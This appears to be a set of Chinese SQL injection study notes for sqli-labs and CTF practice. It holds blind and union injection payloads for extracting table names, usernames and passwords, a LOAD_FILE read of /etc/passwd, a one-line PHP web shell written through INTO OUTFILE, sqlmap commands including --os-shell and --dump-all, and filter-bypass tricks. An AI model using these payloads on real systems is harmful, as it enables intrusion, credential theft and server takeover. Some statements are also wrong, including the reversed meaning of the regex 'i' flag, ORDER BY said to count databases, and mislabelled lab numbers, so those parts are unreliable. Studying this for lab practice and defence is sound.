万能用户名a' and 1=1
mid()---从文本字段中提取字符
SELECT MID(column_name,start[,length]) FROM table_name;
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
limit()---返回前几条或者中间某几行数据
select * from table limit m,n;
其m指记录始index0始表示第条记录 n指第m+1条始取n条
Count()---聚集函数,统计元祖的个数
基于布尔盲注
通过构造sql语句,通过判断语句是否执行成功来对数据进行猜解。
- 查看表名
mysql> select table_name from information_schema.tables where table_schema=database() limit 0,1;
- 获取表名第一个字符
mysql> select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) m;
- 获取表名第一个字符的ASCII
mysql> select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) m;
获取字段名与字段内容原理一样。
以Sqli-labs Less8为例,无论输入什么就只有正确和错误,于是可以判断基于布尔的盲注。
- 先判断当前数据库的长度
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>8 --+
发现当值为8的时候,页面就没有显示。那么说明database()的长度是8
- 获取数据库名
可以使用如下脚本猜解数据库名字:
- 获取表长度
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
发现当值为6的时候,页面就没有显示。那么说明表的长度是6
- 获取表名
和上面类似,只需要把payload修改为下面即可:
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23
- 获取列名
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),{0},1))>{1} %23"
- 获取内容
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),{0},1))>{1} %23"
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select password from users limit 0,1),{0},1))>{1} %23"
基于时间盲注
基于的原理是,当对数据库进行查询操作,如果查询的条件不存在,语句执行的时间便是0.但往往语句执行的速度非常快,线程信息一闪而过,得到的执行时间基本为0。但是如果查询语句的条件不存在,执行的时间便是0,利用该函数这样一个特殊的性质,可以利用时间延迟来判断我们查询的是否存在。这便是SQL基于时间延迟的盲注的工作原理
首先理解一下下面的语句:
if(database()=’security’,1,2)
判断数据库名是否为security,正确返回1,错误返回2。基于时间的注入和基于布尔差不多,引入了if语句进行判断。
mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117,sleep(5),NULL) m;
1 row in set (0.00 sec)
mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),NULL) m;
1 row in set (5.00 sec)
以Sqli-labs Less8为例,无论我们怎么输入,输出结果都是You are in ,所以判断为基于时间的盲注。
- 数据库长度判断
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())>9,0,sleep(5)) --+
- 使用二分法获得数据库名
剩余步骤和基于布尔的差不多,只是加了一个if判断语句进行判断。
- 获取表名:
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1},0,sleep(5)) %23"
- 获取列名:
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),{0},1))>{1},0,sleep(5)) %23"
- 获取内容:
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select password from users limit 0,1),{0},1))>{1},0,sleep(5)) %23"
SQLI
SELECT FROM Users WHERE username = '' OR 1=1 -- -' AND password = ''; SELECT FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
读文件函数LOAD_FILE()
Examples:
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);
SELECT '<? system($_GET['c']); ?>' INTO OUTFILE '/var/www/shell.php';写文件
?id=1'回显error,且?id=1'--+回显数据,则存在字符型SQL漏洞 --+后接注释
?id=-1'报错执行后续命令
group_concat(schema_name) from information_schema schemata
group_concat()函数将所有数据库中相关数据进行字符串拼接并进行一行显示
%\ 和%1$\可替换为空
a’or true ordered by 3 没出错则至少有三个库
a’or true ordered by 4 出错则至多三个库
用database()查看库里面的表名
a‘or(ture)union(select(1),database(),3)#
我们需要记得是schema,tables,columns,schema_name,table_sechma,table_name,column_name
[图片]
select(group_concat(column_name))from(information_schema.columns)where(table_schema='web2')and(table_name='flag')),3)#
group_concat函数是把一系列查询操作连在一起
通常sql的题会过滤一些关键字比如空格,单引号 或者是连着的单词ordered by里的ered by(这需要抓包才知道过滤了什么)
(),/**/,//,%1a$可替换为空格 单引号可替换为双引号 单词过滤可采用复写绕过比如orderedered by by
有些网站都回显,为了判断是否存在sql注入,可以传入a=-1
解题步骤
- 判断是数字注入还是字符注入?a=1 回显,?a=1’ 报错则为字符注入反之为数字注入
- 通过抓包看有无关键词过滤(有的时候过滤了也有回显)
- 查看有几个表名ordered by 3/4
- 确定注入位置 ?a=-1’ and 1 union select 1,2,3# ---->2
- 确定注入库名?a=-1’ and 1 union select 1,database(),3# --->web
- 开始联合搜索表名?a=-1’ and 1 union select 1,select group_concat table_name from information_schema.tables where table_schema=web,3#--->flag,next
- 进一步搜索列名?a=-1 and 1 union select 1,select group_concat column_name from information_schema.columns where table_schema=’web’ and table_name=‘flag’,3# -->flag
- 直接调用 a=-1’ and 1 union select 1,selest flag from flag ,3# 获取flag
Sqlmap
get型常用参数
-u:指定注入的URL sqlmap -u URL
--dbs:爆出所有数据库 sqlmap -u URL --dbs
--dbms:指定数据库类型 sqlmap -u URL --dbms=mysql
--users:查看数据库的所有用户 sqlmap -u URL --users
--current-user:查看数据库当前用户 sqlmap -u URL --current-user
--current-db:查看网站当前数据库 sqlmap -u URL --current-db
--is-dba:判断当前用户是否有管理员权限 sqlmap -u URL --is-dba
[11:57:52] [INFO] testing if current user is DBA
[11:57:52] [INFO] fetching current user
current user is DBA: True
--roles:列出数据库所有管理员角色,仅适用于oracle数据库 sqlmap -u URL --roles
--tables:爆出所有数据表 sqlmap -u URL -D 数据库名 --tables
--columns:爆出数据库表所有列 sqlmap -u URL -D 数据库名 -T 表名 --columns
--dump:爆出数据库中列中的所有数据 sqlmap -u URL -D 数据库名 -T 表名 -C 列名 --dump
--dump-all:爆出数据库中所有的数据 sqlmap -u URL -D 数据库名 -T 表名 --dump-all
--sql-shell:获取数据库shell sqlmap -u URL --sql-shell
--os-shell:获取服务器shell sqlmap -u URL --os-shell
--file-read:读取服务器文件 sqlmap -u URL --file-read "文件路径及名称"
--file-write 本地文件 --file-dist 目标文件路径及名称:将本地文件上传至目标服务器
--time-sec=2:延时注入 sqlmap -u URL --time-sec=2
--batch:探测过程中不进行询问,一律选择默认
-m:如果有多个url地址,可以把多个url保存成一个文本文件,-m可以加载文本文件逐个扫描
post型常用参数
-r:指定POST数据文件 sqlmap -r post.txt
--data:这种不需要将数据进行保存,只需要将post数据复制下来即可 sqlmap -u URL --data="post数据"
--forms:自动搜索表单的方式 sqlmap -u URL --forms
--cookie="抓取的cookie":测试cookie字段
--param-del:参数拆分字符,当GET型或POST型需要用其他字符分割测试参数的时候需要用到此参数,sqlmap -r post.txt --data="query=foorbar;id=1" --param-del
--referer:在请求中伪造http中的referer,当level参数设定为3或者3以上的时候会尝试对referer注入
--headers:增加额外的http头
--proxy:指定代理地址
-p:指定测试参数
SQL注入绕过
空格过滤绕过
preg_match(‘/ /’,$_GET[“id”])源码利用正则匹配对空格过滤
注释符(/**/)绕过
制表符(Tab)绕过
换行符(%0a)绕过
` 绕过
特殊字符绕过空格
Example:
'%0AUNION%0CSELECT%A0NULL%20%23
括号绕过空格
Example:
UNION(SELECT(column)FROM(table))
注释符&引号
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and/**/1=1;
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and"1=1";
关键字绕过
测试用例information_schema.tables
大小写绕过
preg_match(‘/select/’,$_GET[“id”])过滤绕过关键词select(以下例子都过滤了select)
用seLect绕过
双写关键字绕过
id=preg_replace(‘/select /i’,’ ’,$_GET[“id”])
正则表达式中的i意味着严格匹配大小写,故不能使用大小写绕过,可用seselectlect双写绕过
编码绕过
双重URL编码绕过
select------>se%256cect
Unicode编码绕过
select----->se%u006cect
等价函数字符替换绕过
用like或 in 替换 =
select from user where username=‘url’------>select from user where username like ‘url’
逗号绕过
select substr(database(),1,1);------> select substr(database() from 1 for 1);